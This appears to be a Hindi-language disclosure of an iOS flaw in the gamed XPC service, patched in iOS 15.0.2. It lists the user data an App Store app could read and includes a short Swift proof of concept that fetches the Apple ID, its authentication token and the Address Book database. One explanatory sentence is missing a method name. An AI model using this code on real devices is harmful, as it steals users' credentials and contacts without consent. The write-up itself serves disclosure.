iOS gamed एक्सप्लॉइट (15.0.2 में ठीक किया गया)

अपडेट: Apple ने इसे iOS 15.0.2 में चुपचाप ठीक कर दिया है, बिना किसी सार्वजनिक स्वीकृति या श्रेय के।

App Store से इंस्टॉल किया गया कोई भी ऐप उपयोगकर्ता से बिना कोई प्रॉम्प्ट पूछे निम्नलिखित डेटा एक्सेस कर सकता है:

• Apple ID ईमेल और उससे जुड़ा पूरा नाम
• Apple ID प्रमाणीकरण टोकन, जो उपयोगकर्ता की ओर से *.apple.com पर कम से कम एक एंडपॉइंट तक पहुँच की अनुमति देता है
• Core Duet डेटाबेस तक संपूर्ण फ़ाइल सिस्टम पढ़ने की पहुँच (इसमें Mail, SMS, iMessage, तृतीय-पक्ष मैसेजिंग ऐप्स से संपर्कों की सूची और इन संपर्कों के साथ उपयोगकर्ता की सभी अंतःक्रियाओं का मेटाडेटा शामिल है (टाइमस्टैम्प और आँकड़ों सहित), साथ ही कुछ अटैचमेंट (जैसे URL और टेक्स्ट))
• Speed Dial डेटाबेस और Address Book डेटाबेस तक संपूर्ण फ़ाइल सिस्टम पढ़ने की पहुँच, जिसमें संपर्क चित्र और अन्य मेटाडेटा जैसे निर्माण और संशोधन तिथियाँ शामिल हैं (मैंने अभी iOS 15 पर जाँच की है और यह सुलभ नहीं है, इसलिए इसे भी चुपचाप ठीक कर दिया गया होगा)

यहाँ एक संक्षिप्त प्रूफ ऑफ कॉन्सेप्ट है।

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

यह कैसे होता है:

• XPC सेवा com.apple.gamed com.apple.developer.game-center एंटाइटलमेंट की सही ढंग से जाँच नहीं करती है
• भले ही डिवाइस पर Game Center अक्षम हो, getServicesForPID:localPlayer:reply: को कॉल करने पर कई XPC प्रॉक्सी ऑब्जेक्ट (GKAccountService, GKFriendService, GKUtilityService, आदि) लौटाए जाते हैं।
• यदि डिवाइस पर Game Center सक्षम है (भले ही यह App Store Connect में ऐप के लिए सक्षम न हो और ऐप में com.apple.developer.game-center एंटाइटलमेंट न हो), GKAccountService पर authenticatePlayerWithExistingCredentialsWithHandler: को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें उपयोगकर्ता की Apple ID, DSID और Game Center प्रमाणीकरण टोकन होता है (जो उपयोगकर्ता की ओर से https://gc.apple.com पर अनुरोध भेजने की अनुमति देता है)। GKProfileService पर getProfilesForPlayerIDs:handler: को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें उपयोगकर्ता की Apple ID का पहला और अंतिम नाम होता है। पर को कॉल करने पर एक ऑब्जेक्ट लौटता है जिसमें Game Center में उपयोगकर्ता के मित्र के बारे में जानकारी होती है।

Apple Security Bounty Program पेज पर इस भेद्यता का मूल्यांकन $100,000 किया गया है (संवेदनशील डेटा तक व्यापक ऐप पहुँच जो सामान्यतः TCC प्रॉम्प्ट या प्लेटफ़ॉर्म सैंडबॉक्स द्वारा सुरक्षित होती है। "संवेदनशील डेटा" पहुँच में Contacts से व्यापक पहुँच (यानी संपूर्ण डेटाबेस) प्राप्त करना शामिल है)।